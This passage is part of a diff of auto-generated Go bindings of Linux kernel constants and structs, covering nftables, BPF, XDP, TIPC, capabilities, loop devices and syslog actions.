-+ NFT_PAYLOAD_L4CSUM_PSEUDOHDR = 0x1
-+ NFTA_PAYLOAD_UNSPEC = 0x0
-+ NFTA_PAYLOAD_DREG = 0x1
-+ NFTA_PAYLOAD_BASE = 0x2
-+ NFTA_PAYLOAD_OFFSET = 0x3
-+ NFTA_PAYLOAD_LEN = 0x4
-+ NFTA_PAYLOAD_SREG = 0x5
-+ NFTA_PAYLOAD_CSUM_TYPE = 0x6
-+ NFTA_PAYLOAD_CSUM_OFFSET = 0x7
-+ NFTA_PAYLOAD_CSUM_FLAGS = 0x8
-+ NFT_EXTHDR_F_PRESENT = 0x1
-+ NFT_EXTHDR_OP_IPV6 = 0x0
-+ NFT_EXTHDR_OP_TCPOPT = 0x1
-+ NFTA_EXTHDR_UNSPEC = 0x0
-+ NFTA_EXTHDR_DREG = 0x1
-+ NFTA_EXTHDR_TYPE = 0x2
-+ NFTA_EXTHDR_OFFSET = 0x3
-+ NFTA_EXTHDR_LEN = 0x4
-+ NFTA_EXTHDR_FLAGS = 0x5
-+ NFTA_EXTHDR_OP = 0x6
-+ NFTA_EXTHDR_SREG = 0x7
-+ NFT_META_LEN = 0x0
-+ NFT_META_PROTOCOL = 0x1
-+ NFT_META_PRIORITY = 0x2
-+ NFT_META_MARK = 0x3
-+ NFT_META_IIF = 0x4
-+ NFT_META_OIF = 0x5
-+ NFT_META_IIFNAME = 0x6
-+ NFT_META_OIFNAME = 0x7
-+ NFT_META_IIFTYPE = 0x8
-+ NFT_META_OIFTYPE = 0x9
-+ NFT_META_SKUID = 0xa
-+ NFT_META_SKGID = 0xb
-+ NFT_META_NFTRACE = 0xc
-+ NFT_META_RTCLASSID = 0xd
-+ NFT_META_SECMARK = 0xe
-+ NFT_META_NFPROTO = 0xf
-+ NFT_META_L4PROTO = 0x10
-+ NFT_META_BRI_IIFNAME = 0x11
-+ NFT_META_BRI_OIFNAME = 0x12
-+ NFT_META_PKTTYPE = 0x13
-+ NFT_META_CPU = 0x14
-+ NFT_META_IIFGROUP = 0x15
-+ NFT_META_OIFGROUP = 0x16
-+ NFT_META_CGROUP = 0x17
-+ NFT_META_PRANDOM = 0x18
-+ NFT_RT_CLASSID = 0x0
-+ NFT_RT_NEXTHOP4 = 0x1
-+ NFT_RT_NEXTHOP6 = 0x2
-+ NFT_RT_TCPMSS = 0x3
-+ NFT_HASH_JENKINS = 0x0
-+ NFT_HASH_SYM = 0x1
-+ NFTA_HASH_UNSPEC = 0x0
-+ NFTA_HASH_SREG = 0x1
-+ NFTA_HASH_DREG = 0x2
-+ NFTA_HASH_LEN = 0x3
-+ NFTA_HASH_MODULUS = 0x4
-+ NFTA_HASH_SEED = 0x5
-+ NFTA_HASH_OFFSET = 0x6
-+ NFTA_HASH_TYPE = 0x7
-+ NFTA_META_UNSPEC = 0x0
-+ NFTA_META_DREG = 0x1
-+ NFTA_META_KEY = 0x2
-+ NFTA_META_SREG = 0x3
-+ NFTA_RT_UNSPEC = 0x0
-+ NFTA_RT_DREG = 0x1
-+ NFTA_RT_KEY = 0x2
-+ NFT_CT_STATE = 0x0
-+ NFT_CT_DIRECTION = 0x1
-+ NFT_CT_STATUS = 0x2
-+ NFT_CT_MARK = 0x3
-+ NFT_CT_SECMARK = 0x4
-+ NFT_CT_EXPIRATION = 0x5
-+ NFT_CT_HELPER = 0x6
-+ NFT_CT_L3PROTOCOL = 0x7
-+ NFT_CT_SRC = 0x8
-+ NFT_CT_DST = 0x9
-+ NFT_CT_PROTOCOL = 0xa
-+ NFT_CT_PROTO_SRC = 0xb
-+ NFT_CT_PROTO_DST = 0xc
-+ NFT_CT_LABELS = 0xd
-+ NFT_CT_PKTS = 0xe
-+ NFT_CT_BYTES = 0xf
-+ NFT_CT_AVGPKT = 0x10
-+ NFT_CT_ZONE = 0x11
-+ NFT_CT_EVENTMASK = 0x12
-+ NFTA_CT_UNSPEC = 0x0
-+ NFTA_CT_DREG = 0x1
-+ NFTA_CT_KEY = 0x2
-+ NFTA_CT_DIRECTION = 0x3
-+ NFTA_CT_SREG = 0x4
-+ NFT_LIMIT_PKTS = 0x0
-+ NFT_LIMIT_PKT_BYTES = 0x1
-+ NFT_LIMIT_F_INV = 0x1
-+ NFTA_LIMIT_UNSPEC = 0x0
-+ NFTA_LIMIT_RATE = 0x1
-+ NFTA_LIMIT_UNIT = 0x2
-+ NFTA_LIMIT_BURST = 0x3
-+ NFTA_LIMIT_TYPE = 0x4
-+ NFTA_LIMIT_FLAGS = 0x5
-+ NFTA_LIMIT_PAD = 0x6
-+ NFTA_COUNTER_UNSPEC = 0x0
-+ NFTA_COUNTER_BYTES = 0x1
-+ NFTA_COUNTER_PACKETS = 0x2
-+ NFTA_COUNTER_PAD = 0x3
-+ NFTA_LOG_UNSPEC = 0x0
-+ NFTA_LOG_GROUP = 0x1
-+ NFTA_LOG_PREFIX = 0x2
-+ NFTA_LOG_SNAPLEN = 0x3
-+ NFTA_LOG_QTHRESHOLD = 0x4
-+ NFTA_LOG_LEVEL = 0x5
-+ NFTA_LOG_FLAGS = 0x6
-+ NFTA_QUEUE_UNSPEC = 0x0
-+ NFTA_QUEUE_NUM = 0x1
-+ NFTA_QUEUE_TOTAL = 0x2
-+ NFTA_QUEUE_FLAGS = 0x3
-+ NFTA_QUEUE_SREG_QNUM = 0x4
-+ NFT_QUOTA_F_INV = 0x1
-+ NFT_QUOTA_F_DEPLETED = 0x2
-+ NFTA_QUOTA_UNSPEC = 0x0
-+ NFTA_QUOTA_BYTES = 0x1
-+ NFTA_QUOTA_FLAGS = 0x2
-+ NFTA_QUOTA_PAD = 0x3
-+ NFTA_QUOTA_CONSUMED = 0x4
-+ NFT_REJECT_ICMP_UNREACH = 0x0
-+ NFT_REJECT_TCP_RST = 0x1
-+ NFT_REJECT_ICMPX_UNREACH = 0x2
-+ NFT_REJECT_ICMPX_NO_ROUTE = 0x0
-+ NFT_REJECT_ICMPX_PORT_UNREACH = 0x1
-+ NFT_REJECT_ICMPX_HOST_UNREACH = 0x2
-+ NFT_REJECT_ICMPX_ADMIN_PROHIBITED = 0x3
-+ NFTA_REJECT_UNSPEC = 0x0
-+ NFTA_REJECT_TYPE = 0x1
-+ NFTA_REJECT_ICMP_CODE = 0x2
-+ NFT_NAT_SNAT = 0x0
-+ NFT_NAT_DNAT = 0x1
-+ NFTA_NAT_UNSPEC = 0x0
-+ NFTA_NAT_TYPE = 0x1
-+ NFTA_NAT_FAMILY = 0x2
-+ NFTA_NAT_REG_ADDR_MIN = 0x3
-+ NFTA_NAT_REG_ADDR_MAX = 0x4
-+ NFTA_NAT_REG_PROTO_MIN = 0x5
-+ NFTA_NAT_REG_PROTO_MAX = 0x6
-+ NFTA_NAT_FLAGS = 0x7
-+ NFTA_MASQ_UNSPEC = 0x0
-+ NFTA_MASQ_FLAGS = 0x1
-+ NFTA_MASQ_REG_PROTO_MIN = 0x2
-+ NFTA_MASQ_REG_PROTO_MAX = 0x3
-+ NFTA_REDIR_UNSPEC = 0x0
-+ NFTA_REDIR_REG_PROTO_MIN = 0x1
-+ NFTA_REDIR_REG_PROTO_MAX = 0x2
-+ NFTA_REDIR_FLAGS = 0x3
-+ NFTA_DUP_UNSPEC = 0x0
-+ NFTA_DUP_SREG_ADDR = 0x1
-+ NFTA_DUP_SREG_DEV = 0x2
-+ NFTA_FWD_UNSPEC = 0x0
-+ NFTA_FWD_SREG_DEV = 0x1
-+ NFTA_OBJREF_UNSPEC = 0x0
-+ NFTA_OBJREF_IMM_TYPE = 0x1
-+ NFTA_OBJREF_IMM_NAME = 0x2
-+ NFTA_OBJREF_SET_SREG = 0x3
-+ NFTA_OBJREF_SET_NAME = 0x4
-+ NFTA_OBJREF_SET_ID = 0x5
-+ NFTA_GEN_UNSPEC = 0x0
-+ NFTA_GEN_ID = 0x1
-+ NFTA_GEN_PROC_PID = 0x2
-+ NFTA_GEN_PROC_NAME = 0x3
-+ NFTA_FIB_UNSPEC = 0x0
-+ NFTA_FIB_DREG = 0x1
-+ NFTA_FIB_RESULT = 0x2
-+ NFTA_FIB_FLAGS = 0x3
-+ NFT_FIB_RESULT_UNSPEC = 0x0
-+ NFT_FIB_RESULT_OIF = 0x1
-+ NFT_FIB_RESULT_OIFNAME = 0x2
-+ NFT_FIB_RESULT_ADDRTYPE = 0x3
-+ NFTA_FIB_F_SADDR = 0x1
-+ NFTA_FIB_F_DADDR = 0x2
-+ NFTA_FIB_F_MARK = 0x4
-+ NFTA_FIB_F_IIF = 0x8
-+ NFTA_FIB_F_OIF = 0x10
-+ NFTA_FIB_F_PRESENT = 0x20
-+ NFTA_CT_HELPER_UNSPEC = 0x0
-+ NFTA_CT_HELPER_NAME = 0x1
-+ NFTA_CT_HELPER_L3PROTO = 0x2
-+ NFTA_CT_HELPER_L4PROTO = 0x3
-+ NFTA_OBJ_UNSPEC = 0x0
-+ NFTA_OBJ_TABLE = 0x1
-+ NFTA_OBJ_NAME = 0x2
-+ NFTA_OBJ_TYPE = 0x3
-+ NFTA_OBJ_DATA = 0x4
-+ NFTA_OBJ_USE = 0x5
-+ NFTA_TRACE_UNSPEC = 0x0
-+ NFTA_TRACE_TABLE = 0x1
-+ NFTA_TRACE_CHAIN = 0x2
-+ NFTA_TRACE_RULE_HANDLE = 0x3
-+ NFTA_TRACE_TYPE = 0x4
-+ NFTA_TRACE_VERDICT = 0x5
-+ NFTA_TRACE_ID = 0x6
-+ NFTA_TRACE_LL_HEADER = 0x7
-+ NFTA_TRACE_NETWORK_HEADER = 0x8
-+ NFTA_TRACE_TRANSPORT_HEADER = 0x9
-+ NFTA_TRACE_IIF = 0xa
-+ NFTA_TRACE_IIFTYPE = 0xb
-+ NFTA_TRACE_OIF = 0xc
-+ NFTA_TRACE_OIFTYPE = 0xd
-+ NFTA_TRACE_MARK = 0xe
-+ NFTA_TRACE_NFPROTO = 0xf
-+ NFTA_TRACE_POLICY = 0x10
-+ NFTA_TRACE_PAD = 0x11
-+ NFT_TRACETYPE_UNSPEC = 0x0
-+ NFT_TRACETYPE_POLICY = 0x1
-+ NFT_TRACETYPE_RETURN = 0x2
-+ NFT_TRACETYPE_RULE = 0x3
-+ NFTA_NG_UNSPEC = 0x0
-+ NFTA_NG_DREG = 0x1
-+ NFTA_NG_MODULUS = 0x2
-+ NFTA_NG_TYPE = 0x3
-+ NFTA_NG_OFFSET = 0x4
-+ NFT_NG_INCREMENTAL = 0x0
-+ NFT_NG_RANDOM = 0x1
-+)
-+
-+type RTCTime struct {
-+ Sec int32
-+ Min int32
-+ Hour int32
-+ Mday int32
-+ Mon int32
-+ Year int32
-+ Wday int32
-+ Yday int32
-+ Isdst int32
-+}
-+
-+type RTCWkAlrm struct {
-+ Enabled uint8
-+ Pending uint8
-+ Time RTCTime
-+}
-+
-+type BlkpgIoctlArg struct {
-+ Op int32
-+ Flags int32
-+ Datalen int32
-+ Data *byte
-+}
-+
-+const (
-+ BLKPG_ADD_PARTITION = 0x1
-+ BLKPG_DEL_PARTITION = 0x2
-+ BLKPG_RESIZE_PARTITION = 0x3
-+)
-+
-+const (
-+ NETNSA_NONE = 0x0
-+ NETNSA_NSID = 0x1
-+ NETNSA_PID = 0x2
-+ NETNSA_FD = 0x3
-+)
-+
-+type XDPRingOffset struct {
-+ Producer uint64
-+ Consumer uint64
-+ Desc uint64
-+ Flags uint64
-+}
-+
-+type XDPMmapOffsets struct {
-+ Rx XDPRingOffset
-+ Tx XDPRingOffset
-+ Fr XDPRingOffset
-+ Cr XDPRingOffset
-+}
-+
-+type XDPStatistics struct {
-+ Rx_dropped uint64
-+ Rx_invalid_descs uint64
-+ Tx_invalid_descs uint64
-+}
-+
-+type XDPDesc struct {
-+ Addr uint64
-+ Len uint32
-+ Options uint32
-+}
-+
-+const (
-+ NCSI_CMD_UNSPEC = 0x0
-+ NCSI_CMD_PKG_INFO = 0x1
-+ NCSI_CMD_SET_INTERFACE = 0x2
-+ NCSI_CMD_CLEAR_INTERFACE = 0x3
-+ NCSI_ATTR_UNSPEC = 0x0
-+ NCSI_ATTR_IFINDEX = 0x1
-+ NCSI_ATTR_PACKAGE_LIST = 0x2
-+ NCSI_ATTR_PACKAGE_ID = 0x3
-+ NCSI_ATTR_CHANNEL_ID = 0x4
-+ NCSI_PKG_ATTR_UNSPEC = 0x0
-+ NCSI_PKG_ATTR = 0x1
-+ NCSI_PKG_ATTR_ID = 0x2
-+ NCSI_PKG_ATTR_FORCED = 0x3
-+ NCSI_PKG_ATTR_CHANNEL_LIST = 0x4
-+ NCSI_CHANNEL_ATTR_UNSPEC = 0x0
-+ NCSI_CHANNEL_ATTR = 0x1
-+ NCSI_CHANNEL_ATTR_ID = 0x2
-+ NCSI_CHANNEL_ATTR_VERSION_MAJOR = 0x3
-+ NCSI_CHANNEL_ATTR_VERSION_MINOR = 0x4
-+ NCSI_CHANNEL_ATTR_VERSION_STR = 0x5
-+ NCSI_CHANNEL_ATTR_LINK_STATE = 0x6
-+ NCSI_CHANNEL_ATTR_ACTIVE = 0x7
-+ NCSI_CHANNEL_ATTR_FORCED = 0x8
-+ NCSI_CHANNEL_ATTR_VLAN_LIST = 0x9
-+ NCSI_CHANNEL_ATTR_VLAN_ID = 0xa
-+)
-+
-+type ScmTimestamping struct {
-+ Ts [3]Timespec
-+}
-+
-+const (
-+ SOF_TIMESTAMPING_TX_HARDWARE = 0x1
-+ SOF_TIMESTAMPING_TX_SOFTWARE = 0x2
-+ SOF_TIMESTAMPING_RX_HARDWARE = 0x4
-+ SOF_TIMESTAMPING_RX_SOFTWARE = 0x8
-+ SOF_TIMESTAMPING_SOFTWARE = 0x10
-+ SOF_TIMESTAMPING_SYS_HARDWARE = 0x20
-+ SOF_TIMESTAMPING_RAW_HARDWARE = 0x40
-+ SOF_TIMESTAMPING_OPT_ID = 0x80
-+ SOF_TIMESTAMPING_TX_SCHED = 0x100
-+ SOF_TIMESTAMPING_TX_ACK = 0x200
-+ SOF_TIMESTAMPING_OPT_CMSG = 0x400
-+ SOF_TIMESTAMPING_OPT_TSONLY = 0x800
-+ SOF_TIMESTAMPING_OPT_STATS = 0x1000
-+ SOF_TIMESTAMPING_OPT_PKTINFO = 0x2000
-+ SOF_TIMESTAMPING_OPT_TX_SWHW = 0x4000
-+
-+ SOF_TIMESTAMPING_LAST = 0x4000
-+ SOF_TIMESTAMPING_MASK = 0x7fff
-+
-+ SCM_TSTAMP_SND = 0x0
-+ SCM_TSTAMP_SCHED = 0x1
-+ SCM_TSTAMP_ACK = 0x2
-+)
-+
-+type SockExtendedErr struct {
-+ Errno uint32
-+ Origin uint8
-+ Type uint8
-+ Code uint8
-+ Pad uint8
-+ Info uint32
-+ Data uint32
-+}
-+
-+type FanotifyEventMetadata struct {
-+ Event_len uint32
-+ Vers uint8
-+ Reserved uint8
-+ Metadata_len uint16
-+ Mask uint64
-+ Fd int32
-+ Pid int32
-+}
-+
-+type FanotifyResponse struct {
-+ Fd int32
-+ Response uint32
-+}
-+
-+const (
-+ CRYPTO_MSG_BASE = 0x10
-+ CRYPTO_MSG_NEWALG = 0x10
-+ CRYPTO_MSG_DELALG = 0x11
-+ CRYPTO_MSG_UPDATEALG = 0x12
-+ CRYPTO_MSG_GETALG = 0x13
-+ CRYPTO_MSG_DELRNG = 0x14
-+ CRYPTO_MSG_GETSTAT = 0x15
-+)
-+
-+const (
-+ CRYPTOCFGA_UNSPEC = 0x0
-+ CRYPTOCFGA_PRIORITY_VAL = 0x1
-+ CRYPTOCFGA_REPORT_LARVAL = 0x2
-+ CRYPTOCFGA_REPORT_HASH = 0x3
-+ CRYPTOCFGA_REPORT_BLKCIPHER = 0x4
-+ CRYPTOCFGA_REPORT_AEAD = 0x5
-+ CRYPTOCFGA_REPORT_COMPRESS = 0x6
-+ CRYPTOCFGA_REPORT_RNG = 0x7
-+ CRYPTOCFGA_REPORT_CIPHER = 0x8
-+ CRYPTOCFGA_REPORT_AKCIPHER = 0x9
-+ CRYPTOCFGA_REPORT_KPP = 0xa
-+ CRYPTOCFGA_REPORT_ACOMP = 0xb
-+ CRYPTOCFGA_STAT_LARVAL = 0xc
-+ CRYPTOCFGA_STAT_HASH = 0xd
-+ CRYPTOCFGA_STAT_BLKCIPHER = 0xe
-+ CRYPTOCFGA_STAT_AEAD = 0xf
-+ CRYPTOCFGA_STAT_COMPRESS = 0x10
-+ CRYPTOCFGA_STAT_RNG = 0x11
-+ CRYPTOCFGA_STAT_CIPHER = 0x12
-+ CRYPTOCFGA_STAT_AKCIPHER = 0x13
-+ CRYPTOCFGA_STAT_KPP = 0x14
-+ CRYPTOCFGA_STAT_ACOMP = 0x15
-+)
-+
-+const (
-+ BPF_REG_0 = 0x0
-+ BPF_REG_1 = 0x1
-+ BPF_REG_2 = 0x2
-+ BPF_REG_3 = 0x3
-+ BPF_REG_4 = 0x4
-+ BPF_REG_5 = 0x5
-+ BPF_REG_6 = 0x6
-+ BPF_REG_7 = 0x7
-+ BPF_REG_8 = 0x8
-+ BPF_REG_9 = 0x9
-+ BPF_REG_10 = 0xa
-+ BPF_MAP_CREATE = 0x0
-+ BPF_MAP_LOOKUP_ELEM = 0x1
-+ BPF_MAP_UPDATE_ELEM = 0x2
-+ BPF_MAP_DELETE_ELEM = 0x3
-+ BPF_MAP_GET_NEXT_KEY = 0x4
-+ BPF_PROG_LOAD = 0x5
-+ BPF_OBJ_PIN = 0x6
-+ BPF_OBJ_GET = 0x7
-+ BPF_PROG_ATTACH = 0x8
-+ BPF_PROG_DETACH = 0x9
-+ BPF_PROG_TEST_RUN = 0xa
-+ BPF_PROG_GET_NEXT_ID = 0xb
-+ BPF_MAP_GET_NEXT_ID = 0xc
-+ BPF_PROG_GET_FD_BY_ID = 0xd
-+ BPF_MAP_GET_FD_BY_ID = 0xe
-+ BPF_OBJ_GET_INFO_BY_FD = 0xf
-+ BPF_PROG_QUERY = 0x10
-+ BPF_RAW_TRACEPOINT_OPEN = 0x11
-+ BPF_BTF_LOAD = 0x12
-+ BPF_BTF_GET_FD_BY_ID = 0x13
-+ BPF_TASK_FD_QUERY = 0x14
-+ BPF_MAP_LOOKUP_AND_DELETE_ELEM = 0x15
-+ BPF_MAP_FREEZE = 0x16
-+ BPF_BTF_GET_NEXT_ID = 0x17
-+ BPF_MAP_TYPE_UNSPEC = 0x0
-+ BPF_MAP_TYPE_HASH = 0x1
-+ BPF_MAP_TYPE_ARRAY = 0x2
-+ BPF_MAP_TYPE_PROG_ARRAY = 0x3
-+ BPF_MAP_TYPE_PERF_EVENT_ARRAY = 0x4
-+ BPF_MAP_TYPE_PERCPU_HASH = 0x5
-+ BPF_MAP_TYPE_PERCPU_ARRAY = 0x6
-+ BPF_MAP_TYPE_STACK_TRACE = 0x7
-+ BPF_MAP_TYPE_CGROUP_ARRAY = 0x8
-+ BPF_MAP_TYPE_LRU_HASH = 0x9
-+ BPF_MAP_TYPE_LRU_PERCPU_HASH = 0xa
-+ BPF_MAP_TYPE_LPM_TRIE = 0xb
-+ BPF_MAP_TYPE_ARRAY_OF_MAPS = 0xc
-+ BPF_MAP_TYPE_HASH_OF_MAPS = 0xd
-+ BPF_MAP_TYPE_DEVMAP = 0xe
-+ BPF_MAP_TYPE_SOCKMAP = 0xf
-+ BPF_MAP_TYPE_CPUMAP = 0x10
-+ BPF_MAP_TYPE_XSKMAP = 0x11
-+ BPF_MAP_TYPE_SOCKHASH = 0x12
-+ BPF_MAP_TYPE_CGROUP_STORAGE = 0x13
-+ BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 0x14
-+ BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 0x15
-+ BPF_MAP_TYPE_QUEUE = 0x16
-+ BPF_MAP_TYPE_STACK = 0x17
-+ BPF_MAP_TYPE_SK_STORAGE = 0x18
-+ BPF_MAP_TYPE_DEVMAP_HASH = 0x19
-+ BPF_PROG_TYPE_UNSPEC = 0x0
-+ BPF_PROG_TYPE_SOCKET_FILTER = 0x1
-+ BPF_PROG_TYPE_KPROBE = 0x2
-+ BPF_PROG_TYPE_SCHED_CLS = 0x3
-+ BPF_PROG_TYPE_SCHED_ACT = 0x4
-+ BPF_PROG_TYPE_TRACEPOINT = 0x5
-+ BPF_PROG_TYPE_XDP = 0x6
-+ BPF_PROG_TYPE_PERF_EVENT = 0x7
-+ BPF_PROG_TYPE_CGROUP_SKB = 0x8
-+ BPF_PROG_TYPE_CGROUP_SOCK = 0x9
-+ BPF_PROG_TYPE_LWT_IN = 0xa
-+ BPF_PROG_TYPE_LWT_OUT = 0xb
-+ BPF_PROG_TYPE_LWT_XMIT = 0xc
-+ BPF_PROG_TYPE_SOCK_OPS = 0xd
-+ BPF_PROG_TYPE_SK_SKB = 0xe
-+ BPF_PROG_TYPE_CGROUP_DEVICE = 0xf
-+ BPF_PROG_TYPE_SK_MSG = 0x10
-+ BPF_PROG_TYPE_RAW_TRACEPOINT = 0x11
-+ BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 0x12
-+ BPF_PROG_TYPE_LWT_SEG6LOCAL = 0x13
-+ BPF_PROG_TYPE_LIRC_MODE2 = 0x14
-+ BPF_PROG_TYPE_SK_REUSEPORT = 0x15
-+ BPF_PROG_TYPE_FLOW_DISSECTOR = 0x16
-+ BPF_PROG_TYPE_CGROUP_SYSCTL = 0x17
-+ BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 0x18
-+ BPF_PROG_TYPE_CGROUP_SOCKOPT = 0x19
-+ BPF_PROG_TYPE_TRACING = 0x1a
-+ BPF_CGROUP_INET_INGRESS = 0x0
-+ BPF_CGROUP_INET_EGRESS = 0x1
-+ BPF_CGROUP_INET_SOCK_CREATE = 0x2
-+ BPF_CGROUP_SOCK_OPS = 0x3
-+ BPF_SK_SKB_STREAM_PARSER = 0x4
-+ BPF_SK_SKB_STREAM_VERDICT = 0x5
-+ BPF_CGROUP_DEVICE = 0x6
-+ BPF_SK_MSG_VERDICT = 0x7
-+ BPF_CGROUP_INET4_BIND = 0x8
-+ BPF_CGROUP_INET6_BIND = 0x9
-+ BPF_CGROUP_INET4_CONNECT = 0xa
-+ BPF_CGROUP_INET6_CONNECT = 0xb
-+ BPF_CGROUP_INET4_POST_BIND = 0xc
-+ BPF_CGROUP_INET6_POST_BIND = 0xd
-+ BPF_CGROUP_UDP4_SENDMSG = 0xe
-+ BPF_CGROUP_UDP6_SENDMSG = 0xf
-+ BPF_LIRC_MODE2 = 0x10
-+ BPF_FLOW_DISSECTOR = 0x11
-+ BPF_CGROUP_SYSCTL = 0x12
-+ BPF_CGROUP_UDP4_RECVMSG = 0x13
-+ BPF_CGROUP_UDP6_RECVMSG = 0x14
-+ BPF_CGROUP_GETSOCKOPT = 0x15
-+ BPF_CGROUP_SETSOCKOPT = 0x16
-+ BPF_TRACE_RAW_TP = 0x17
-+ BPF_TRACE_FENTRY = 0x18
-+ BPF_TRACE_FEXIT = 0x19
-+ BPF_STACK_BUILD_ID_EMPTY = 0x0
-+ BPF_STACK_BUILD_ID_VALID = 0x1
-+ BPF_STACK_BUILD_ID_IP = 0x2
-+ BPF_ADJ_ROOM_NET = 0x0
-+ BPF_ADJ_ROOM_MAC = 0x1
-+ BPF_HDR_START_MAC = 0x0
-+ BPF_HDR_START_NET = 0x1
-+ BPF_LWT_ENCAP_SEG6 = 0x0
-+ BPF_LWT_ENCAP_SEG6_INLINE = 0x1
-+ BPF_LWT_ENCAP_IP = 0x2
-+ BPF_OK = 0x0
-+ BPF_DROP = 0x2
-+ BPF_REDIRECT = 0x7
-+ BPF_LWT_REROUTE = 0x80
-+ BPF_SOCK_OPS_VOID = 0x0
-+ BPF_SOCK_OPS_TIMEOUT_INIT = 0x1
-+ BPF_SOCK_OPS_RWND_INIT = 0x2
-+ BPF_SOCK_OPS_TCP_CONNECT_CB = 0x3
-+ BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB = 0x4
-+ BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB = 0x5
-+ BPF_SOCK_OPS_NEEDS_ECN = 0x6
-+ BPF_SOCK_OPS_BASE_RTT = 0x7
-+ BPF_SOCK_OPS_RTO_CB = 0x8
-+ BPF_SOCK_OPS_RETRANS_CB = 0x9
-+ BPF_SOCK_OPS_STATE_CB = 0xa
-+ BPF_SOCK_OPS_TCP_LISTEN_CB = 0xb
-+ BPF_SOCK_OPS_RTT_CB = 0xc
-+ BPF_TCP_ESTABLISHED = 0x1
-+ BPF_TCP_SYN_SENT = 0x2
-+ BPF_TCP_SYN_RECV = 0x3
-+ BPF_TCP_FIN_WAIT1 = 0x4
-+ BPF_TCP_FIN_WAIT2 = 0x5
-+ BPF_TCP_TIME_WAIT = 0x6
-+ BPF_TCP_CLOSE = 0x7
-+ BPF_TCP_CLOSE_WAIT = 0x8
-+ BPF_TCP_LAST_ACK = 0x9
-+ BPF_TCP_LISTEN = 0xa
-+ BPF_TCP_CLOSING = 0xb
-+ BPF_TCP_NEW_SYN_RECV = 0xc
-+ BPF_TCP_MAX_STATES = 0xd
-+ BPF_FIB_LKUP_RET_SUCCESS = 0x0
-+ BPF_FIB_LKUP_RET_BLACKHOLE = 0x1
-+ BPF_FIB_LKUP_RET_UNREACHABLE = 0x2
-+ BPF_FIB_LKUP_RET_PROHIBIT = 0x3
-+ BPF_FIB_LKUP_RET_NOT_FWDED = 0x4
-+ BPF_FIB_LKUP_RET_FWD_DISABLED = 0x5
-+ BPF_FIB_LKUP_RET_UNSUPP_LWT = 0x6
-+ BPF_FIB_LKUP_RET_NO_NEIGH = 0x7
-+ BPF_FIB_LKUP_RET_FRAG_NEEDED = 0x8
-+ BPF_FD_TYPE_RAW_TRACEPOINT = 0x0
-+ BPF_FD_TYPE_TRACEPOINT = 0x1
-+ BPF_FD_TYPE_KPROBE = 0x2
-+ BPF_FD_TYPE_KRETPROBE = 0x3
-+ BPF_FD_TYPE_UPROBE = 0x4
-+ BPF_FD_TYPE_URETPROBE = 0x5
-+)
-+
-+const (
-+ RTNLGRP_NONE = 0x0
-+ RTNLGRP_LINK = 0x1
-+ RTNLGRP_NOTIFY = 0x2
-+ RTNLGRP_NEIGH = 0x3
-+ RTNLGRP_TC = 0x4
-+ RTNLGRP_IPV4_IFADDR = 0x5
-+ RTNLGRP_IPV4_MROUTE = 0x6
-+ RTNLGRP_IPV4_ROUTE = 0x7
-+ RTNLGRP_IPV4_RULE = 0x8
-+ RTNLGRP_IPV6_IFADDR = 0x9
-+ RTNLGRP_IPV6_MROUTE = 0xa
-+ RTNLGRP_IPV6_ROUTE = 0xb
-+ RTNLGRP_IPV6_IFINFO = 0xc
-+ RTNLGRP_DECnet_IFADDR = 0xd
-+ RTNLGRP_NOP2 = 0xe
-+ RTNLGRP_DECnet_ROUTE = 0xf
-+ RTNLGRP_DECnet_RULE = 0x10
-+ RTNLGRP_NOP4 = 0x11
-+ RTNLGRP_IPV6_PREFIX = 0x12
-+ RTNLGRP_IPV6_RULE = 0x13
-+ RTNLGRP_ND_USEROPT = 0x14
-+ RTNLGRP_PHONET_IFADDR = 0x15
-+ RTNLGRP_PHONET_ROUTE = 0x16
-+ RTNLGRP_DCB = 0x17
-+ RTNLGRP_IPV4_NETCONF = 0x18
-+ RTNLGRP_IPV6_NETCONF = 0x19
-+ RTNLGRP_MDB = 0x1a
-+ RTNLGRP_MPLS_ROUTE = 0x1b
-+ RTNLGRP_NSID = 0x1c
-+ RTNLGRP_MPLS_NETCONF = 0x1d
-+ RTNLGRP_IPV4_MROUTE_R = 0x1e
-+ RTNLGRP_IPV6_MROUTE_R = 0x1f
-+ RTNLGRP_NEXTHOP = 0x20
-+)
-+
-+type CapUserHeader struct {
-+ Version uint32
-+ Pid int32
-+}
-+
-+type CapUserData struct {
-+ Effective uint32
-+ Permitted uint32
-+ Inheritable uint32
-+}
-+
-+const (
-+ LINUX_CAPABILITY_VERSION_1 = 0x19980330
-+ LINUX_CAPABILITY_VERSION_2 = 0x20071026
-+ LINUX_CAPABILITY_VERSION_3 = 0x20080522
-+)
-+
-+const (
-+ LO_FLAGS_READ_ONLY = 0x1
-+ LO_FLAGS_AUTOCLEAR = 0x4
-+ LO_FLAGS_PARTSCAN = 0x8
-+ LO_FLAGS_DIRECT_IO = 0x10
-+)
-+
-+type LoopInfo64 struct {
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset uint64
-+ Sizelimit uint64
-+ Number uint32
-+ Encrypt_type uint32
-+ Encrypt_key_size uint32
-+ Flags uint32
-+ File_name [64]uint8
-+ Crypt_name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+}
-+
-+type TIPCSocketAddr struct {
-+ Ref uint32
-+ Node uint32
-+}
-+
-+type TIPCServiceRange struct {
-+ Type uint32
-+ Lower uint32
-+ Upper uint32
-+}
-+
-+type TIPCServiceName struct {
-+ Type uint32
-+ Instance uint32
-+ Domain uint32
-+}
-+
-+type TIPCEvent struct {
-+ Event uint32
-+ Lower uint32
-+ Upper uint32
-+ Port TIPCSocketAddr
-+ S TIPCSubscr
-+}
-+
-+type TIPCGroupReq struct {
-+ Type uint32
-+ Instance uint32
-+ Scope uint32
-+ Flags uint32
-+}
-+
-+const (
-+ TIPC_CLUSTER_SCOPE = 0x2
-+ TIPC_NODE_SCOPE = 0x3
-+)
-+
-+const (
-+ SYSLOG_ACTION_CLOSE = 0
-+ SYSLOG_ACTION_OPEN = 1
-+ SYSLOG_ACTION_READ = 2
-+ SYSLOG_ACTION_READ_ALL = 3
-+ SYSLOG_ACTION_READ_CLEAR = 4
-+ SYSLOG_ACTION_CLEAR = 5
-+ SYSLOG_ACTION_CONSOLE_OFF = 6
-+ SYSLOG_ACTION_CONSOLE_ON = 7
